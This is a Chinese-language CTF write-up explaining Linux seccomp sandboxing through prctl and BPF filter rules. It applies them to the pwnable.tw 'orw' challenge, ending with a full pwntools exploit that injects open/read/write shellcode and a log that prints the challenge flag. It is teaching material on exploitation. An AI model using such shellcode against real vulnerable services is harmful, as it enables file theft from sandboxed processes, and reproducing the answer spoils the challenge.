(Linux Kernel)sandbox中的prctl-seccomp机制(orw) prctl-seccomp简介 seccomp是secure computing的缩写,是一个Linux内核的安全功能,用于限制进程所能进行的系统调用操作。它通过过滤系统调用,仅允许进程进行特定的,事先定义好的操作,从而减少被利用的攻击面和提高系统的安全性。
也可以认为它是一种简洁的sandbox(沙箱、沙盒)机制,可以当作沙箱使用。在编写C语言程序过程中,可以通过引入prctl函数来实现内核级的安全机制;程序编译运行后,相当于进程进入到一种“安全”运行模式。
引入seccomp机制的原因 正常情况下在linux系统里,大量的系统调用(system call)会直接暴露给用户态程序,也就是说程序可以使用所有的syscall,此时如果劫持程序流程通过execve或system来调用syscall就会获得用户态的shelll权限。可以看到并不是所有的系统调用都被需要,不安全的代码滥用系统调用会对系统造成安全威胁。为了防范这种攻击方式,这时的seccomp就派上了用场,在严格模式 下的进程只能调用4种系统调用,即read()、write()、exit()、sigreturn(),其它的系统调用都会杀死进程,过滤模式下可以指定允许哪些系统调用,规则是bpf,可以使用seccomp-tools查看。
附件:pwnable.tw 中的orw
执行命令即可查看此ELF文件中可用的系统调用:
1 seccomp-tools dump ./ELF
ELF为要查看的文件
IDA分析题目 看程序伪代码
进入到orw_seccomp函数:
这两个prctl函数就是关键函数。
1 2 prctl(38 , 1 , 0 , 0 , 0 ) prctl(22 , 2 , &v1)
prctl函数原型 1 2 3 #include <sys/prctl.h> int prctl (int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) ;
其中有五个参数,重点是第一个参数option。
本意是选择,在这个函数中重点的的两个选项:
1 2 PR_SET_NO_NEW_PRIVS PR_SET_SECCOMP
如果option设置为PR_SET_NO_PRIVS并且第二个参数(unsigned long arg2)设置为1,那么这个可执行文件不能够进行execve的系统调用(system函数、one_gadget失效,但是其它的系统调用仍可以正常调用),同时这个选项还会继承给子进程。放到prctl函数中就是:
1 prctl(PR_SET_NO_NEW_PRIVS,1 ,0 ,0 ,0 );
在linux下的/usr/include/linux/prctl.h中:
正好对应了前面两个prctl函数中的第一个。
如果option设置为PR_SET_SECCOMP,简单来说就是设置沙箱开启。
常常与PR_SET_SECCOMP在prctl函数中出现的还有两个参数:
1 2 3 4 5 SECCOMP_MODE_STRICT SECCOMP_MODE_FILTER
也就是说如果设置了SECCOMP_MODE_STRICT模式的话,系统调用只能使用read,write,exit这三个。
如果设置了SECCOMP_MODE_FILTER的话,系统调用规则就可以被Berkeley Packet Filter(BPF)的规则所定义。
1 2 3 prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
其中SECCOMP_MODE_FILTER可以用常量表示为2。
回顾之前的:
其中22对应的就是seccomp mode开启的状态,&v1代表的就是过滤规则。
v1存储的就是设置沙箱规则,从而可以实现改变函数的系统调用(允许或者禁止)。
上方这一部分虽然直接看不懂,但是是和seccomp-tools相对应的。
可以看出,出现的只有open,write,read,sigreturn这四个,也就是说只能使用这四个系统调用.
BPF规则 在chat中的bpf是这样的:
BPF原本是TCP协议包的过滤规则格式,后面被引用为沙箱规则。
简单的说BPF定义了一个伪机器。这个伪机器可以执行代码,有一个累加器+,寄存器(RegA),和赋值、算术、跳转指令。一条指令由一个定义好的结构struct bpf_insn表示,与真正的机器代码很相似,若干个这样的结构组成的数组,就成为BPF的指令序列。
&prog是指向如下结构体的指针,这个结构体记录了过滤规则个数与规则数组起始位置:
1 2 3 4 struct sock_fprog { unsigned short len; struct sock_filter *filter ; };
而filter域就指向了具体的规则,每一条规则都有如下形式:
1 2 3 4 5 6 struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; };
下面是一些常量和宏的定义,用于解析和操作BPF指令中的字段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #define BPF_CLASS(code) ((code) & 0x07) #define BPF_LD 0x00 #define BPF_LDX 0x01 #define BPF_ST 0x02 #define BPF_STX 0x03 #define BPF_ALU 0x04 #define BPF_JMP 0x05 #define BPF_RET 0x06 #define BPF_MISC 0x07 #define BPF_SIZE(code) ((code) & 0x18) #define BPF_W 0x00 #define BPF_H 0x08 #define BPF_B 0x10 #define BPF_MODE(code) ((code) & 0xe0) #define BPF_IMM 0x00 #define BPF_ABS 0x20 #define BPF_IND 0x40 #define BPF_MEM 0x60 #define BPF_LEN 0x80 #define BPF_MSH 0xa0 #define BPF_OP(code) ((code) & 0xf0) #define BPF_ADD 0x00 #define BPF_SUB 0x10 #define BPF_MUL 0x20 #define BPF_DIV 0x30 #define BPF_OR 0x40 #define BPF_AND 0x50 #define BPF_LSH 0x60 #define BPF_RSH 0x70 #define BPF_NEG 0x80 #define BPF_MOD 0x90 #define BPF_XOR 0xa0 #define BPF_JA 0x00 #define BPF_JEQ 0x10 #define BPF_JGT 0x20 #define BPF_JGE 0x30 #define BPF_JSET 0x40 #define BPF_SRC(code) ((code) & 0x08) #define BPF_K 0x00 #define BPF_X 0x08
看一下规则的写法,首先是BPF_LD,需要用到的结构为:
1 2 3 4 5 6 struct seccomp_data { __u32 nr; __u32 arch; __u64 instruction_pointer; __u64 args[6 ]; };
其中args是6个寄存器,在32位下是:
在64位下是:
现在要将syscall时eax的值载入RegA,可以使用:
1 2 BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0 )
跳转语句:
1 2 BPF_JUMP(BPF_JMP+BPF_JEQ,59 ,1 ,0 )
其中后两个参数代表成功跳转到第几条规则,失败跳转到第几条规则,这是相对偏移。
最后当验证完成需要返回结果,即是否允许:
1 BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL)
过滤的规则列表里可以有多条规则,seccomp会从第0条开始逐条执行,直到遇到BPF_RET返回,决定是否允许该操作以及做某些修改。
总结一下:
结构赋值操作指令为 :BPF_STMT,BPF_JUMP
BPF的主要指令有 :BPF_LD,BPF_ALU,BPF_JMP,BPF_RET等。BPF_LD将数据装入累加器,BPF_ALU对累加器执行算数命令,BPF_JMP是跳转指令,BPF_RET是程序返回指令
BPF条件判断跳转指令 :BPF_JMP,BPF_JEQ,根据后面的几个参数进行判断,然后跳转到相应的地方
返回指令 :BPF_RET,BPF_K,返回后面参数的值
比如本题中的sock_filter结构体说明一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 0004 : 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005 : 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006 : 0x15 0x04 0x00 0x00000001 if (A == exit ) goto 0011 0007 : 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 0008 : 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0009 : 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 0010 : 0x06 0x00 0x00 0x00050026 return ERRNO(38 ) 0011 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
line1表示这道题需要运行在架构不为i386的机器或环境中,否则直接返回ERROR.
line8表示如果传入的系统调用号为read,则允许执行,否则直接结束进程。
解题步骤 前面分析过,只能使用read,write,open,_exit四个系统调用。
检查文件保护机制
程序只有Canary保护。
输入shellcode,执行。
虽然system和execve都被禁用了,但是读取flag的方法有很多,可以使用open、read、write三个系统调用去读flag,题目也提示了flag保存在/home/orw/flag。
所以这里就需要我们编写一段shellcode。
需要注意的是:
32位程序,应调用int $0x80进入系统调用,将系统调用号传入eax,各个参数按照ebx、ecx、edx的顺序传递到寄存器中,系统调用返回值存储在eax寄存器中。
64位程序,应调用syscall进入系统调用,将系统调用号传入rax,各个参数按照rdi,rsi,rdx的顺序传递到寄存器中,系统调用返回值存储到rax寄存器。
所以此题shellcode编写如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context(os='linux' ,arch='i386' ,log_level='debug' ) sh = remote('chall.pwnable.tw' ,10001 ) shellcode_open = 'xor eax,eax;xor ebx,ebx;xor ecx,ecx;xor edx,edx;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;mov eax,0x5;int 0x80;' shellcode_read = 'mov ebx,eax;mov ecx,0x0804A260;mov edx,0x40;mov eax,0x3;int 0x80;' shellcode_write = 'mov ebx,0x1;mov ecx,0x0804A260;mov edx,0x40;mov eax,0x4;int 0x80;' shellcode = shellcode_open+shellcode_read+shellcode_write sh.recvuntil('Give my your shellcode:' ) sh.sendline(asm(shellcode)) print sh.recv()sh.interactive() ''' xor eax,eax 清空需要用到的寄存器 xor ebx,ebx xor ecx,ecx xor edx,edx fd = open('/home/orw/flag',0) push 0x00006761 "home/orw/flag"的十六进制 push 0x6c662f77 "home/orw/flag"的十六进制 push 0x726f2f65 "home/orw/flag"的十六进制 push 0x6d6f682f "home/orw/flag"的十六进制 mov ebx,esp const char __user *filename mov eax,0x5 open函数的系统调用号:sys_open int 0x80 read(fd,bss+0x200,0x40) mov ebx,eax ;int fd mov ecx,0x0804A260 ;void *buf mov edx,0x40 ;size_t count mov eax,0x3 ;read函数的系统调用:sys_read int 0x80 write(1,bss+0x200,0x40) mov ebx,0x1 ;int fd=1(标准输出stdout)(0 标准输入,1 标准输出,2 标准错误输出) mov ecx,0x0804A260 ;void *buf mov edx,0x40 ;size_t count mov eax,0x4 ;read函数的系统调用:sys_write int 0x80 '''
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 zhuyuan@zhuyuan-vm:~/pwn/sandbox$ python exp.py [+] Opening connection to chall.pwnable.tw on port 10001: Done [DEBUG] Received 0x17 bytes: 'Give my your shellcode:' [DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python2.7/dist-packages/pwnlib/data/includes /dev/stdin [DEBUG] Assembling .section .shellcode,"awx" .global _start .global __start _start: __start: .intel_syntax noprefix .p2align 0 xor eax,eax;xor ebx,ebx;xor ecx,ecx;xor edx,edx;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;mov eax,0x5;int 0x80;mov ebx,eax;mov ecx,0x0804A260;mov edx,0x40;mov eax,0x3;int 0x80;mov ebx,0x1;mov ecx,0x0804A260;mov edx,0x40;mov eax,0x4;int 0x80; [DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-zcjx0I/step2 /tmp/pwn-asm-zcjx0I/step1 [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-zcjx0I/step3 /tmp/pwn-asm-zcjx0I/step4 [DEBUG] Sent 0x4f bytes: 00000000 31 c0 31 db 31 c9 31 d2 68 61 67 00 00 68 77 2f │1·1·│1·1·│hag·│·hw/│ 00000010 66 6c 68 65 2f 6f 72 68 2f 68 6f 6d 89 e3 b8 05 │flhe│/orh│/hom│····│ 00000020 00 00 00 cd 80 89 c3 b9 60 a2 04 08 ba 40 00 00 │····│····│`···│·@··│ 00000030 00 b8 03 00 00 00 cd 80 bb 01 00 00 00 b9 60 a2 │····│····│····│··`·│ 00000040 04 08 ba 40 00 00 00 b8 04 00 00 00 cd 80 0a │···@│····│····│···│ 0000004f [DEBUG] Received 0x40 bytes: 00000000 46 4c 41 47 7b 73 68 33 6c 6c 63 30 64 69 6e 67 │FLAG│{sh3│llc0│ding│ 00000010 5f 77 31 74 68 5f 6f 70 33 6e 5f 72 33 34 64 5f │_w1t│h_op│3n_r│34d_│ 00000020 77 72 69 74 33 7d 0a 00 00 00 00 00 00 00 00 00 │writ│3}··│····│····│ 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000040 FLAG{sh3llc0ding_w1th_op3n_r34d_writ3} \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 [*] Switching to interactive mode [*] Got EOF while reading in interactive $